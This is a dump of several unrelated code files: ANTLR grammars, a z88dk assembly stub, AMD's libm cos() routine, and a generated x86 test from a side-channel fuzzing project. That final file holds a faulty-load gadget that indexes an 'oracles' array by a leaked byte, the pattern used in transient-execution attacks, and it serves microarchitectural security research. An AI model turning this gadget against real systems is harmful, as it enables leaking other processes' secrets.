lexer grammar MyLexer; @header { package mylexer; } COMMENT: '/*' (.*?) '*/'; KEYWORD: 'var' | 'as' | 'function' | 'return' | 'if' | 'else'; OPEN_PAREN: '('; CLOSE_PAREN: ')'; OPEN_BRACE: '{'; CLOSE_BRACE: '}'; ID: [a-zA-Z] ([a-zA-Z0-9_]*); NUM: '-'? [0-9]+; COMMA: ','; EQ: '='; STRING: '"' ( '\\"' | ~'"' )* '"'; CHAR: '\'' (('\\' .) | ~'\\') '\''; SEMICOLON: ';'; PLUS: '+'; WS: [ \t\r\n]+ -> skip;
libsrc/video/tms9918/vdpport.asm
jpoikela/z88dk
640
103753
<gh_stars>100-1000 PUBLIC VDP_DATA PUBLIC VDP_DATAIN PUBLIC VDP_CMD PUBLIC VDP_STATUS INCLUDE "video/tms9918/vdp.inc"
src/main/antlr4/org/lpp/parser/LPP.g4
LenguajeLPP/lpp
1
18
/** Gramatica del Lenguaje LPP en ENBNF para ser procesado por ANTLR4 */ grammar LPP; programa : NL* declaracionesTipos declaracionesVariables declaracionesSubprogramas sentenciasPrograma ; declaracionesTipos : ( declaracionRegistro | declaracionTipo )* ; declaracionRegistro : REGISTRO ID NL+ declaracionesVariables FIN REGISTRO NL+ ; declaracionTipo : TIPO ID ES tipo NL+ ; declaracionesSubprogramas : ( declaracionProcedimiento | declaracionFuncion )* ; declaracionProcedimiento : PROCEDIMIENTO ID ( '(' parametros ')' )? NL+ declaracionesVariables sentenciasSubprograma ; declaracionFuncion : FUNCION ID ( '(' parametros ')' )? ':' tipo NL+ declaracionesVariables sentenciasSubprograma ; parametros : parametro ( ',' parametro )* ; parametro : VAR? tipo ID ; declaracionesVariables : declaracionVariables* ; declaracionVariables : tipo listaIDs NL+ ; tipo : ENTERO | REAL | BOOLEANO | CARACTER | CADENA ( '[' LITERAL_ENTERO ']')? | ARREGLO '[' listaEnteros ']' DE tipo | ARCHIVO SECUENCIAL | ARCHIVO DE tipo | ID ; listaIDs : ID ( ',' ID )* ; listaEnteros : LITERAL_ENTERO ( ',' LITERAL_ENTERO )* ; sentenciasSubprograma : INICIO NL+ sentencias FIN NL+ ; sentenciasPrograma : INICIO NL+ sentencias FIN NL* EOF ; sentencias : sentencia* ; sentencia : escriba | lea | asignar | llamar | si | caso | mientras | para | repita | retorne | abrir | cerrar | escribir | leer ; escriba : ESCRIBA listaExpr NL+ ; lea : LEA listaExpr NL+ ; asignar : expr '<-' expr NL+ ; llamar : LLAMAR procedimientoLibreriaEstandar ( '(' listaExpr? ')' )? NL+ | LLAMAR funcionLibreriaEstandar ( '(' listaExpr? ')' )? NL+ | LLAMAR ID ( '(' listaExpr? ')' )? NL+ ; procedimientoLibreriaEstandar : PROC_NUEVA_LINEA | PROC_LIMPIAR_PANTALLA | PROC_POSICIONAR_CURSOR | PROC_IR_A | PROC_IR_A_INICIO | PROC_IR_A_FIN | PROC_INICIALIZAR_ALEATORIO | PROC_PAUSA | PROC_COLOR_TEXTO | PROC_COLOR_FONDO ; si : SI expr NL* ENTONCES NL+ sentencias sino? FIN SI NL+ ; sino : SINO si | SINO NL+ sentencias ; caso : CASO expr NL+ opcionCaso+ casoSino? FIN CASO NL+ ; opcionCaso : listaExprOpcion ':' NL+ sentencias ; listaExprOpcion : exprOpcion ( ',' exprOpcion ) * ; exprOpcion : rangoExpr | expr ; rangoExpr : expr '->' expr ; casoSino : SINO ':' NL* sentencias ; mientras : MIENTRAS expr NL* HAGA NL+ sentencias FIN MIENTRAS NL+ ; para : PARA expr '<-' expr HASTA expr NL* HAGA NL+ sentencias FIN PARA NL+ ; repita : REPITA NL+ sentencias HASTA expr NL+ ; retorne : RETORNE expr NL+ ; abrir : ABRIR expr COMO expr PARA acceso NL+ ; acceso : LECTURA ( ',' ESCRITURA )? | ESCRITURA ( ',' LECTURA )? ; cerrar : CERRAR expr NL+ ; escribir : ESCRIBIR expr ',' listaExpr NL+ ; leer : LEER expr ',' listaExpr NL+ ; listaExpr : expr ( ',' expr )* ; expr : '(' expr ')' | literal | ID | expr '.' ID | expr '[' listaExpr ']' | funcionLibreriaEstandar '(' listaExpr? ')' | ID '(' listaExpr? ')' | '-' expr | NO expr |<assoc=right> expr '^' expr | expr ( '*' | '/' | DIV_ENTEROS | MOD ) expr | expr ( '+' | '-' ) expr | expr ( '=' | '<>' | '<=' | '>=' | '<' | '>' ) expr | expr OP_Y expr | expr OP_O expr ; funcionLibreriaEstandar : FUNC_FDA | FUNC_POSICION_ACTUAL | FUNC_ALEATORIO | FUNC_OBTENER_CARACTER | FUNC_ENTERO_A_CADENA | FUNC_REAL_A_CADENA | FUNC_TECLA_PRESIONADA | FUNC_VALOR_ASCII | FUNC_CARACTER_ASCII | FUNC_LONGITUD ; literal : LITERAL_REAL | LITERAL_ENTERO | LITERAL_CADENA | LITERAL_CARACTER | ( VERDADERO | FALSO ) ; // REGLAS LEXICAS INICIO : I N I C I O ; FIN : F I N ; ESCRIBA : E S C R I B A ; LEA : L E A ; LLAMAR : L L A M A R ; SI : S I ; ENTONCES : E N T O N C E S ; SINO : S I N O ; CASO : C A S O ; MIENTRAS : M I E N T R A S ; HAGA : H A G A ; PARA : P A R A ; HASTA : H A S T A ; REPITA : R E P I T A ; PROCEDIMIENTO : P R O C E D I M I E N T O ; VAR : V A R ; FUNCION : F U N C I O N ; RETORNE : R E T O R N E ; // DEFINICION DE TIPOS TIPO : T I P O ; ES : E S ; ARCHIVO : A R C H I V O ; SECUENCIAL : S E C U E N C I A L ; // TIPOS PREDEFINIDOS ENTERO : E N T E R O ; REAL : R E A L ; CARACTER : C A R A C T E R ; BOOLEANO : B O O L E A N O ; CADENA : C A D E N A ; REGISTRO : R E G I S T R O ; ARREGLO : A R R E G L O ; DE : D E ; // ARCHIVOS ABRIR : A B R I R ; COMO : C O M O ; ESCRITURA : E S C R I T U R A ; LECTURA : L E C T U R A ; CERRAR : C E R R A R ; ESCRIBIR : E S C R I B I R ; LEER : L E E R ; // LIBRERIA ESTANDAR PROC_NUEVA_LINEA : N U E V A '_' L I N E A ; PROC_LIMPIAR_PANTALLA : L I M P I A R '_' P A N T A L L A ; PROC_POSICIONAR_CURSOR : P O S I C I O N A R '_' C U R S O R ; PROC_IR_A_INICIO : I R '_' A '_' I N I C I O ; PROC_IR_A_FIN : I R '_' A '_' F I N ; PROC_IR_A : I R '_' A ; PROC_INICIALIZAR_ALEATORIO : I N I C I A L I Z A R '_' A L E A T O R I O ; PROC_PAUSA : P A U S A ; PROC_COLOR_TEXTO : C O L O R '_' T E X T O ; PROC_COLOR_FONDO : C O L O R '_' F O N D O ; FUNC_FDA : F D A ; FUNC_POSICION_ACTUAL : P O S I C I O N '_' A C T U A L ; FUNC_ALEATORIO : A L E A T O R I O ; FUNC_OBTENER_CARACTER : O B T E N E R '_' C A R A C T E R ; FUNC_ENTERO_A_CADENA : E N T E R O '_' A '_' C A D E N A ; FUNC_REAL_A_CADENA : R E A L '_' A '_' C A D E N A ; FUNC_TECLA_PRESIONADA : T E C L A '_' P R E S I O N A D A ; FUNC_VALOR_ASCII : V A L O R '_' A S C I I ; FUNC_CARACTER_ASCII : C A R A C T E R '_' A S C I I ; FUNC_LONGITUD : L O N G I T U D ; // OPERADORES PODER : '^'; MULT : '*' ; DIV : '/' ; MOD : M O D ; DIV_ENTEROS : D I V ; SUMA : '+' ; RESTA : '-' ; IGUAL : '=' ; DESIGUAL : '<>' ; MAYOR : '>' ; MAYOR_IGUAL : '>=' ; MENOR : '<' ; MENOR_IGUAL : '<=' ; OP_Y : Y ; OP_O : O ; NO : N O ; // LITERALES LITERAL_REAL : DIGITO+ '.' DIGITO* | '.' DIGITO+ ; LITERAL_ENTERO : DIGITO+ ; fragment DIGITO : [0-9] ; LITERAL_CADENA : '"' CARACTERES_CADENA* '"' ; fragment CARACTERES_CADENA : ~["] | '\\"' | '\\\\' ; LITERAL_CARACTER : '\'' CARACTERES_CARACTER '\'' ; fragment CARACTERES_CARACTER : ~['] | '\\\'' | '\\\\' ; VERDADERO : V E R D A D E R O ; FALSO : F A L S O ; // FRAGMENTOS PARA QUE EL PARSER NO DISTINGA MAYUS/MINUS EN PALABRAS RESERVADAS fragment A:('a'|'A'); fragment B:('b'|'B'); fragment C:('c'|'C'); fragment D:('d'|'D'); fragment E:('e'|'E'); fragment F:('f'|'F'); fragment G:('g'|'G'); fragment H:('h'|'H'); fragment I:('i'|'I'); fragment J:('j'|'J'); fragment K:('k'|'K'); fragment L:('l'|'L'); fragment M:('m'|'M'); fragment N:('n'|'N'); fragment O:('o'|'O'); fragment P:('p'|'P'); fragment Q:('q'|'Q'); fragment R:('r'|'R'); fragment S:('s'|'S'); fragment T:('t'|'T'); fragment U:('u'|'U'); fragment V:('v'|'V'); fragment W:('w'|'W'); fragment X:('x'|'X'); fragment Y:('y'|'Y'); fragment Z:('z'|'Z'); // IDENTIFICADOR (Debe de aparecer despues de todas las palabras reservadas en la gramatica) ID : [a-zA-Z$_] [a-zA-Z0-9$_]* ; // NUEVA LINEA, ESPACIO BLANCO (WHITESPACE) Y COMENTARIOS NL : [\r\n]+ ; WS : [ \t]+ -> skip ; COMENTARIO : '/*' .*? '*/' -> skip ; COMENTARIO_LINEA : '//' ~[\r\n]* -> skip ;
src/isa/avx/masm/cos.asm
jepler/aocl-libm-ose
66
102970
; ; Copyright (C) 2008-2020 Advanced Micro Devices, Inc. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without modification, ; are permitted provided that the following conditions are met: ; 1. Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. ; 2. Redistributions in binary form must reproduce the above copyright notice, ; this list of conditions and the following disclaimer in the documentation ; and/or other materials provided with the distribution. ; 3. Neither the name of the copyright holder nor the names of its contributors ; may be used to endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ; ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. ; IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, ; INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, ; BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, ; OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ; WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ; ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE ; POSSIBILITY OF SUCH DAMAGE. ; ; ; An implementation of the cos function. ; ; Prototype: ; ; double cos(double x); ; ; Computes cos(x). ; It will provide proper C99 return values, ; but may not raise floating point status bits properly. ; Based on the NAG C implementation. ; ; CONST SEGMENT ALIGN 16 L__real_7fffffffffffffff DQ 07fffffffffffffffh ; Sign bit zero DQ 0 L__real_3ff0000000000000 DQ 03ff0000000000000h ; 1.0 DQ 0 ; for alignment L__real_3fe0000000000000 DQ 03fe0000000000000h ; 0.5 DQ 0 L__real_3fc5555555555555 DQ 03fc5555555555555h ; 0.166666666666 DQ 0 L__real_3fe45f306dc9c883 DQ 03fe45f306dc9c883h ; twobypi DQ 0 L__real_3ff921fb54400000 DQ 03ff921fb54400000h ; piby2_1 DQ 0 L__real_3dd0b4611a626331 DQ 03dd0b4611a626331h ; piby2_1tail DQ 0 L__real_3dd0b4611a600000 DQ 03dd0b4611a600000h ; piby2_2 DQ 0 L__real_3ba3198a2e037073 DQ 03ba3198a2e037073h ; piby2_2tail DQ 0 L__real_fffffffff8000000 DQ 0fffffffff8000000h ; mask for stripping head and tail DQ 0 L__real_411E848000000000 DQ 0415312d000000000h ; 5e6 0411E848000000000h ; 5e5 DQ 0 L__real_bfe0000000000000 DQ 0bfe0000000000000h ; - 0.5 DQ 0 ALIGN 16 Lcosarray: DQ 03fa5555555555555h ; 0.0416667 c1 DQ 0 DQ 0bf56c16c16c16967h ; -0.00138889 c2 DQ 0 DQ 03EFA01A019F4EC91h ; 2.48016e-005 c3 DQ 0 DQ 0bE927E4FA17F667Bh ; -2.75573e-007 c4 DQ 0 DQ 03E21EEB690382EECh ; 2.08761e-009 c5 DQ 0 DQ 0bDA907DB47258AA7h ; -1.13826e-011 c6 DQ 0 ALIGN 16 Lsinarray: DQ 0bfc5555555555555h ; -0.166667 s1 DQ 0 DQ 03f81111111110bb3h ; 0.00833333 s2 DQ 0 DQ 0bf2a01a019e83e5ch ; -0.000198413 s3 DQ 0 DQ 03ec71de3796cde01h ; 2.75573e-006 s4 DQ 0 DQ 0be5ae600b42fdfa7h ; -2.50511e-008 s5 DQ 0 DQ 03de5e0b2f9a43bb8h ; 1.59181e-010 s6 DQ 0 CONST ENDS ; define local variable storage offsets p_temp equ 030h ; temporary for get/put bits operation p_temp1 equ 040h ; temporary for get/put bits operation r equ 050h ; pointer to r for amd_remainder_piby2 rr equ 060h ; pointer to rr for amd_remainder_piby2 region equ 070h ; pointer to region for amd_remainder_piby2 stack_size equ 098h include fm.inc FN_PROTOTYPE_BAS64 cos fname_special TEXTEQU <_cos_special> ;Define name and any external functions being called EXTRN __amd_remainder_piby2 : PROC ; NEAR EXTERN fname_special : PROC StackAllocate MACRO size sub rsp, size .ALLOCSTACK size ENDM text SEGMENT EXECUTE PUBLIC fname fname PROC FRAME StackAllocate stack_size .ENDPROLOG xorpd xmm2, xmm2 ; zeroed out for later use ; GET_BITS_DP64(x, ux); ; get the input value to an integer register. movsd QWORD PTR p_temp[rsp], xmm0 mov rdx, QWORD PTR p_temp[rsp] ; rdx is ux ;; if NaN or inf mov rax, 07ff0000000000000h mov r10, rax and r10, rdx cmp r10, rax jz Lcos_naninf ; ax = (ux & ~SIGNBIT_DP64); mov r10, 07fffffffffffffffh and r10, rdx ; r10 is ax mov r8d, 1 ; for determining region later on ;; if (ax <= 3fe921fb54442d18h) abs(x) <= pi/4 mov rax, 03fe921fb54442d18h cmp r10, rax jg Lcos_reduce ;; if (ax < 3f20000000000000h) abs(x) < 2.0^(-13) mov rax, 03f20000000000000h cmp r10, rax jge Lcos_small ;; if (ax < 3e40000000000000h) abs(x) < 2.0^(-27) mov rax, 03e40000000000000h cmp r10, rax jge Lcos_smaller ; cos = 1.0; movsd xmm0, L__real_3ff0000000000000 ; return a 1 jmp Lcos_cleanup ;; else ALIGN 16 Lcos_smaller: ; cos = 1.0 - x*x*0.5; movsd xmm2, xmm0 mulsd xmm2, xmm2 ; x^2 movsd xmm0, QWORD PTR L__real_3ff0000000000000 ; 1.0 mulsd xmm2, QWORD PTR L__real_3fe0000000000000 ; 0.5 * x^2 subsd xmm0, xmm2 jmp Lcos_cleanup ;; else ALIGN 16 Lcos_small: ; cos = cos_piby4(x, 0.0); ; movsd xmm5, QWORD PTR L__real_3fe0000000000000 ; .5 ; x2 = r * r; movsd xmm2, xmm0 mulsd xmm2, xmm0 ; x2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; region 0 or 2 - do a cos calculation ; zc = (c2 + x2 * (c3 + x2 * (c4 + x2 * (c5 + x2 * c6)))); movsd xmm1, QWORD PTR Lcosarray+10h ; c2 movsd xmm4, xmm2 ; move for x4 mulsd xmm4, xmm2 ; x4 movsd xmm3, QWORD PTR Lcosarray+30h ; c4 mulsd xmm1, xmm2 ; c2x2 movsd xmm5, QWORD PTR Lcosarray+50h ; c6 mulsd xmm3, xmm2 ; c4x2 movsd xmm0, xmm4 ; move for x8 mulsd xmm5, xmm2 ; c6x2 mulsd xmm0, xmm4 ; x8 addsd xmm1, QWORD PTR Lcosarray ; c1 + c2x2 mulsd xmm1, xmm4 ; c1x4 + c2x6 addsd xmm3, QWORD PTR Lcosarray+20h ; c3 + c4x2 mulsd xmm2, QWORD PTR L__real_bfe0000000000000 ; -0.5x2, destroy xmm2 addsd xmm5, QWORD PTR Lcosarray+40h ; c5 + c6x2 mulsd xmm3, xmm0 ; c3x8 + c4x10 mulsd xmm4, xmm0 ; x12 mulsd xmm4, xmm5 ; c5x12 + c6x14 movsd xmm0, QWORD PTR L__real_3ff0000000000000 ; 1 addsd xmm1, xmm3 ; c1x4 + c2x6 + c3x8 + c4x10 movsd xmm3, xmm2 ; preserve -0.5x2 addsd xmm2, xmm0 ; t = 1 - 0.5x2 subsd xmm0, xmm2 ; 1-t addsd xmm0, xmm3 ; (1-t) - r addsd xmm1, xmm4 ; c1x4 + c2x6 + c3x8 + c4x10 + c5x12 + c6x14 addsd xmm0, xmm1 ; (1-t) - r + c1x4 + c2x6 + c3x8 + c4x10 + c5x12 + c6x14 addsd xmm0, xmm2 ; 1 - 0.5x2 + above jmp Lcos_cleanup ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN 16 Lcos_reduce: ; xneg = (ax != ux); cmp rdx, r10 ;; if (xneg) x = -x; jz Lpositive subsd xmm2, xmm0 movsd xmm0, xmm2 Lpositive: ;; if (x < 5.0e5) cmp r10, QWORD PTR L__real_411E848000000000 jae Lcos_reduce_precise ; reduce the argument to be in a range from -pi/4 to +pi/4 ; by subtracting multiples of pi/2 movsd xmm2, xmm0 movsd xmm3, QWORD PTR L__real_3fe45f306dc9c883 ; twobypi movsd xmm4, xmm0 movsd xmm5, QWORD PTR L__real_3fe0000000000000 ; .5 mulsd xmm2, xmm3 ;/* How many pi/2 is x a multiple of? */ ; xexp = ax >> EXPSHIFTBITS_DP64; mov r9, r10 shr r9, 52 ; >>EXPSHIFTBITS_DP64 ; npi2 = (int)(x * twobypi + 0.5); addsd xmm2, xmm5 ; npi2 movsd xmm3, QWORD PTR L__real_3ff921fb54400000 ; piby2_1 cvttpd2dq xmm0, xmm2 ; convert to integer movsd xmm1, QWORD PTR L__real_3dd0b4611a626331 ; piby2_1tail cvtdq2pd xmm2, xmm0 ; and back to float. ; /* Subtract the multiple from x to get an extra-precision remainder */ ; rhead = x - npi2 * piby2_1; mulsd xmm3, xmm2 subsd xmm4, xmm3 ; rhead ; rtail = npi2 * piby2_1tail; mulsd xmm1, xmm2 movd eax, xmm0 ; GET_BITS_DP64(rhead-rtail, uy); ; originally only rhead movsd xmm0, xmm4 subsd xmm0, xmm1 movsd xmm3, QWORD PTR L__real_3dd0b4611a600000 ; piby2_2 movsd QWORD PTR p_temp[rsp], xmm0 movsd xmm5, QWORD PTR L__real_3ba3198a2e037073 ; piby2_2tail mov rcx, QWORD PTR p_temp[rsp] ; rcx is rhead-rtail ; xmm0=r, xmm4=rhead, xmm1=rtail, xmm2=npi2, xmm3=temp for calc, xmm5= temp for calc ; expdiff = xexp - ((uy & EXPBITS_DP64) >> EXPSHIFTBITS_DP64); shl rcx, 1 ; strip any sign bit shr rcx, 53 ; >> EXPSHIFTBITS_DP64 +1 sub r9, rcx ; expdiff ;; if (expdiff > 15) cmp r9, 15 jle Lexpdiffless15 ; /* The remainder is pretty small compared with x, which ; implies that x is a near multiple of pi/2 ; (x matches the multiple to at least 15 bits) */ ; t = rhead; movsd xmm1, xmm4 ; rtail = npi2 * piby2_2; mulsd xmm3, xmm2 ; rhead = t - rtail; mulsd xmm5, xmm2 ; npi2 * piby2_2tail subsd xmm4, xmm3 ; rhead ; rtail = npi2 * piby2_2tail - ((t - rhead) - rtail); subsd xmm1, xmm4 ; t - rhead subsd xmm1, xmm3 ; -rtail subsd xmm5, xmm1 ; rtail ; r = rhead - rtail; movsd xmm0, xmm4 ;HARSHA ;xmm1=rtail movsd xmm1, xmm5 subsd xmm0, xmm5 ; xmm0=r, xmm4=rhead, xmm1=rtail Lexpdiffless15: ; region = npi2 & 3; subsd xmm4, xmm0 ; rhead-r subsd xmm4, xmm1 ; rr = (rhead-r) - rtail ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; if the input was close to a pi/2 multiple ; The original NAG code missed this trick. If the input is very close to n*pi/2 after ; reduction, ; then the cos is ~ 1.0 , to within 53 bits, when r is < 2^-27. We already ; have x at this point, so we can skip the cos polynomials. cmp rcx, 03f2h ; if r small. jge Lcos_piby4 ; use taylor series if not cmp rcx, 03deh ; if r really small. jle Lr_small ; then cos(r) = 1 movsd xmm2, xmm0 mulsd xmm2, xmm2 ;x^2 ;; if region is 1 or 3 do a sin calc. and r8d, eax jz Lsinsmall ; region 1 or 3 ; use simply polynomial ; *s = x - x*x*x*0.166666666666666666; movsd xmm3, QWORD PTR L__real_3fc5555555555555 mulsd xmm3, xmm0 ; * x mulsd xmm3, xmm2 ; * x^2 subsd xmm0, xmm3 ; xs jmp Ladjust_region ALIGN 16 Lsinsmall: ; region 0 or 2 ; cos = 1.0 - x*x*0.5; movsd xmm0, QWORD PTR L__real_3ff0000000000000 ; 1.0 mulsd xmm2, QWORD PTR L__real_3fe0000000000000 ; 0.5 *x^2 subsd xmm0, xmm2 jmp Ladjust_region ALIGN 16 Lr_small: ;; if region is 1 or 3 do a sin calc. and r8d, eax jnz Ladjust_region movsd xmm0, QWORD PTR L__real_3ff0000000000000 ; cos(r) is a 1 jmp Ladjust_region ALIGN 16 Lcos_reduce_precise: ; // Reduce x into range [-pi/4, pi/4] ; __amd_remainder_piby2(x, &r, &rr, &region); lea r9, QWORD PTR region[rsp] lea r8, QWORD PTR rr[rsp] lea rdx, QWORD PTR r[rsp] ;change to MS ABI - shadow space sub rsp,020h call __amd_remainder_piby2 ;change to MS ABI - shadow space add rsp,020h mov r8d,1 ; for determining region later on movsd xmm0, QWORD PTR r[rsp] ; x movsd xmm4, QWORD PTR rr[rsp] ; xx mov eax, DWORD PTR region[rsp] ; region ; xmm0 = x, xmm4 = xx, r8d = 1, eax= region ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN 16 ; perform taylor series to calc sinx, cosx Lcos_piby4: ; x2 = r * r; ;xmm4 = a part of rr for the sin path, xmm4 is overwritten in the cos path ;instead use xmm3 because that was freed up in the sin path, xmm3 is overwritten in sin path movsd xmm3, xmm0 movsd xmm2, xmm0 mulsd xmm2, xmm0 ;x2 ;; if region is 1 or 3 do a sin calc. and r8d, eax jz Lcospiby4 ; region 1 or 3 movsd xmm3, QWORD PTR Lsinarray+50h ; s6 mulsd xmm3, xmm2 ; x2s6 movsd xmm5, QWORD PTR Lsinarray+20h ; s3 movsd QWORD PTR p_temp[rsp], xmm4 ; store xx movsd xmm1, xmm2 ; move for x4 mulsd xmm1, xmm2 ; x4 movsd QWORD PTR p_temp1[rsp], xmm0 ; store x mulsd xmm5, xmm2 ; x2s3 movsd xmm4, xmm0 ; move for x3 addsd xmm3, QWORD PTR Lsinarray+40h ; s5+x2s6 mulsd xmm1, xmm2 ; x6 mulsd xmm3, xmm2 ; x2(s5+x2s6) mulsd xmm4, xmm2 ; x3 addsd xmm5, QWORD PTR Lsinarray+10h ; s2+x2s3 mulsd xmm5, xmm2 ; x2(s2+x2s3) addsd xmm3, QWORD PTR Lsinarray+30h ; s4 + x2(s5+x2s6) mulsd xmm2, QWORD PTR L__real_3fe0000000000000 ; 0.5 *x2 movsd xmm0, QWORD PTR p_temp[rsp] ; load xx mulsd xmm3, xmm1 ; x6(s4 + x2(s5+x2s6)) addsd xmm5, QWORD PTR Lsinarray ; s1+x2(s2+x2s3) mulsd xmm2, xmm0 ; 0.5 * x2 *xx addsd xmm3, xmm5 ; zs mulsd xmm4, xmm3 ; *x3 subsd xmm4, xmm2 ; x3*zs - 0.5 * x2 *xx addsd xmm0, xmm4 ; +xx addsd xmm0, QWORD PTR p_temp1[rsp] ; +x jmp Ladjust_region ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN 16 Lcospiby4: ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; region 0 or 2 - do a cos calculation ; zc = (c2 + x2 * (c3 + x2 * (c4 + x2 * (c5 + x2 * c6)))); mulsd xmm4, xmm0 ; x*xx movsd xmm5, QWORD PTR L__real_3fe0000000000000 movsd xmm1, QWORD PTR Lcosarray+50h ; c6 movsd xmm0, QWORD PTR Lcosarray+20h ; c3 mulsd xmm5, xmm2 ; r = 0.5 *x2 movsd xmm3, xmm2 ; copy of x2 movsd QWORD PTR p_temp[rsp], xmm4 ; store x*xx mulsd xmm1, xmm2 ; c6*x2 mulsd xmm0, xmm2 ; c3*x2 subsd xmm5, QWORD PTR L__real_3ff0000000000000 ; -t=r-1.0 ;trash r mulsd xmm3, xmm2 ; x4 addsd xmm1, QWORD PTR Lcosarray+40h ; c5+x2c6 addsd xmm0, QWORD PTR Lcosarray+10h ; c2+x2C3 addsd xmm5, QWORD PTR L__real_3ff0000000000000 ; 1 + (-t) ;trash t mulsd xmm3, xmm2 ; x6 mulsd xmm1, xmm2 ; x2(c5+x2c6) mulsd xmm0, xmm2 ; x2(c2+x2C3) movsd xmm4, xmm2 ; copy of x2 mulsd xmm4, QWORD PTR L__real_3fe0000000000000 ; r recalculate addsd xmm1, QWORD PTR Lcosarray+30h ; c4 + x2(c5+x2c6) addsd xmm0, QWORD PTR Lcosarray ; c1+x2(c2+x2C3) mulsd xmm2, xmm2 ; x4 recalculate subsd xmm5, xmm4 ; (1 + (-t)) - r mulsd xmm1, xmm3 ; x6(c4 + x2(c5+x2c6)) addsd xmm0, xmm1 ; zc subsd xmm4, QWORD PTR L__real_3ff0000000000000 ; t relaculate subsd xmm5, QWORD PTR p_temp[rsp] ; ((1 + (-t)) - r) - x*xx mulsd xmm0, xmm2 ; x4 * zc addsd xmm0, xmm5 ; x4 * zc + ((1 + (-t)) - r -x*xx) subsd xmm0, xmm4 ; result - (-t) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ALIGN 16 Ladjust_region: ; positive or negative (0, 1, 2, 3)=>(1, 2, 3 , 4)=>(0, 2, 2, 0) ; switch (region) add eax, 1 and eax, 2 jz Lcos_cleanup ;; if the original region 1 or 2 then we negate the result. movsd xmm2, xmm0 xorpd xmm0, xmm0 subsd xmm0, xmm2 ALIGN 16 Lcos_cleanup: add rsp, stack_size ret ALIGN 16 Lcos_naninf: call fname_special add rsp, stack_size ret fname endp TEXT ENDS END
Transynther/x86/_processed/AVXALIGN/_zr_/i3-7100_9_0x84_notsx.log_14256_579.asm
ljhsiun2/medusa
9
88278
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r11 push %r12 push %r14 push %r15 push %rax push %rbx lea addresses_normal_ht+0x4346, %r14 nop nop nop nop and $59884, %r12 mov $0x6162636465666768, %rax movq %rax, (%r14) nop nop cmp %rbx, %rbx lea addresses_WC_ht+0x1c21b, %r12 clflush (%r12) nop nop add $740, %r10 movups (%r12), %xmm2 vpextrq $1, %xmm2, %r11 nop nop nop nop dec %rax lea addresses_WT_ht+0x1e846, %r11 nop nop nop and %r15, %r15 movups (%r11), %xmm6 vpextrq $1, %xmm6, %r10 nop nop nop xor %r14, %r14 pop %rbx pop %rax pop %r15 pop %r14 pop %r12 pop %r11 pop %r10 ret .global s_faulty_load s_faulty_load: push %r15 push %r8 push %r9 push %rax push %rcx push %rdi push %rsi // REPMOV lea addresses_A+0xfeef, %rsi lea addresses_WT+0x1a99f, %rdi nop nop and $47476, %rax mov $28, %rcx rep movsw nop nop nop nop sub $59080, %r8 // Faulty Load mov $0x59f71a0000000846, %rcx nop nop nop nop nop sub %r8, %r8 mov (%rcx), %r9w lea oracles, %r8 and $0xff, %r9 shlq $12, %r9 mov (%r8,%r9,1), %r9 pop %rsi pop %rdi pop %rcx pop %rax pop %r9 pop %r8 pop %r15 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_NC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WT', 'congruent': 0, 'same': False}, 'OP': 'REPM'} [Faulty Load] {'src': {'type': 'addresses_NC', 'same': True, 'size': 2, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WT_ht', 'same': False, 'size': 16, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 14256} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 